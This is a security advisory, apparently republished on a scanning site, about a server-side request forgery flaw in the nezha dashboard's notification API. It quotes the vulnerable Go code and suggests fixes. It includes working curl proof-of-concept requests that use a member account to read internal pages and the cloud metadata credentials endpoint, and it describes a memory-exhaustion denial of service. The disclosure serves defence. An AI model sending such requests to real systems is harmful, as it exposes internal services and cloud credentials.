| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| github.com/nezhahq/nezha | ≥ 1.4.0, < 1.14.15-0.20260517022419-d06d539d34c1 | 1.14.15-0.20260517022419-d06d539d34c1 |
nezha's dashboard supports two user roles: RoleAdmin (Role==0) and RoleMember (Role==1). The notification routes POST /api/v1/notification and PATCH /api/v1/notification/:id are wired through commonHandler rather than adminHandler — so a RoleMember user can call them. These handlers synchronously Send() an HTTP request to a user-controlled URL and reflect the entire response body (no size limit) back to the caller on any non-2xx response.
Net effect: a low-privilege RoleMember can read intranet HTTP response bodies via the dashboard's hub.
Commit 50dc8e660326b9f22990898142c58b7a5312b42a and earlier on master.
cmd/dashboard/controller/controller.go:121-122
auth.GET("/notification", listHandler(listNotification))
auth.POST("/notification", commonHandler(createNotification)) // <-- commonHandler, not adminHandler
For comparison, /user routes ARE gated by adminHandler:
auth.GET("/user", adminHandler(listUser))
auth.POST("/user", adminHandler(createUser))
auth.POST("/batch-delete/user", adminHandler(batchDeleteUser))
adminHandler (controller.go:220-236) explicitly enforces user.Role.IsAdmin(). commonHandler (controller.go:214-218) does not.
// cmd/dashboard/controller/notification.go:46-83
func createNotification(c *gin.Context) (uint64, error) {
var nf model.NotificationForm
if err := c.ShouldBindJSON(&nf); err != nil { return 0, err }
var n model.Notification
n.UserID = getUid(c)
n.Name = nf.Name
n.RequestMethod = nf.RequestMethod
n.RequestType = nf.RequestType
n.RequestHeader = nf.RequestHeader
n.RequestBody = nf.RequestBody
n.URL = nf.URL
...
ns := model.NotificationServerBundle{Notification: &n, Server: nil, Loc: singleton.Loc}
if !nf.SkipCheck {
if err := ns.Send(singleton.Localizer.T("a test message")); err != nil {
return 0, err // <-- err.Error() reflects up to caller via newErrorResponse
}
}
...
}
Identical pattern in updateNotification (PATCH /notification/:id) at lines 97-146.
// model/notification.go:113-159
func (ns *NotificationServerBundle) Send(message string) error {
var client *http.Client
n := ns.Notification
if n.VerifyTLS != nil && *n.VerifyTLS {
client = utils.HttpClient
} else {
client = utils.HttpClientSkipTlsVerify
}
reqBody, err := ns.reqBody(message)
if err != nil { return err }
reqMethod, err := n.reqMethod()
if err != nil { return err }
req, err := http.NewRequest(reqMethod, ns.reqURL(message), strings.NewReader(reqBody))
if err != nil { return err }
n.setContentType(req)
if err := n.setRequestHeader(req); err != nil { return err }
resp, err := client.Do(req)
if err != nil { return err }
defer func() { _ = resp.Body.Close() }()
if resp.StatusCode < 200 || resp.StatusCode > 299 {
body, _ := io.ReadAll(resp.Body) // <-- NO io.LimitReader
return fmt.Errorf("%d@%s %s", resp.StatusCode, resp.Status, string(body))
} else {
_, _ = io.Copy(io.Discard, resp.Body)
}
return nil
}
Bạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phíThe full body (no size limit) is concatenated into an error string. That error flows through commonHandler → handle() → newErrorResponse(err) → c.JSON(http.StatusOK, ...). The intranet response body is JSON-encoded back to the RoleMember caller.
Additional wrinkle: client = utils.HttpClientSkipTlsVerify when VerifyTLS is false — attacker-controlled. So the SSRF works against TLS endpoints too, ignoring cert validation.
curl -X POST -H "Authorization: Bearer <member-jwt>" \
-H "Content-Type: application/json" \
-d '{"name":"x","url":"http://192.168.1.1/admin/index.html","request_method":1,"request_type":1,"verify_tls":false,"skip_check":false}' \
http://nezha-dashboard.example.com/api/v1/notification
Response:
{"success":false,"error":"401@Unauthorized <full HTML body of the admin login page, no size limit>"}
curl -X POST -H "Authorization: Bearer <member-jwt>" \
-H "Content-Type: application/json" \
-d '{"name":"x","url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/","request_method":1,"request_type":1,"verify_tls":false,"skip_check":false}' \
http://nezha-dashboard.example.com/api/v1/notification
IMDSv2 returns 401 with a body explaining the missing token; that body is reflected.
Because the body is read via unbounded io.ReadAll, a RoleMember pointing at any internal large-file URL (logs, package mirrors, video) blows up dashboard memory.
Switch /notification routes to adminHandler. Same fix for /alert-rule, /cron, /ddns if they also issue user-URL requests synchronously. Compare with how /user is already guarded.
auth.POST("/notification", adminHandler(createNotification))
auth.PATCH("/notification/:id", adminHandler(updateNotification))
SSRF-harden NotificationServerBundle.Send():
net.LookupIP; refuse private/loopback/link-local/CGNAT.http.Transport.DialContext to the resolved IP — closes DNS-rebinding TOCTOU.Cap response body: io.LimitReader(resp.Body, 4096). 4 KB is plenty for surfacing webhook errors.
Reconsider VerifyTLS=false toggle on RoleMember-reachable paths — if the route remains member-reachable, at minimum cert validation should be enforced.
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L ≈ 6.4. PR:L because attacker needs a RoleMember account (admin-issued). C:L because intranet response bodies can be read but typically not full credentials. A:L because of the unbounded body-read DoS.RoleMember (Role == 1).nezhahq/nezha:v0.x (commit 50dc8e660326b9f22990898142c58b7a5312b42a).cmd/dashboard/controller/notification.go:46-83, 97-146model/notification.go:113-159cmd/dashboard/controller/controller.go:121-122 (commonHandler), 214-236 (handler defs)Eddie Ran. Filed via reporter API (PVR enabled). nezha's SECURITY.md mentions email [email protected] for vulnerability reports — happy to also send via email if the maintainer prefers.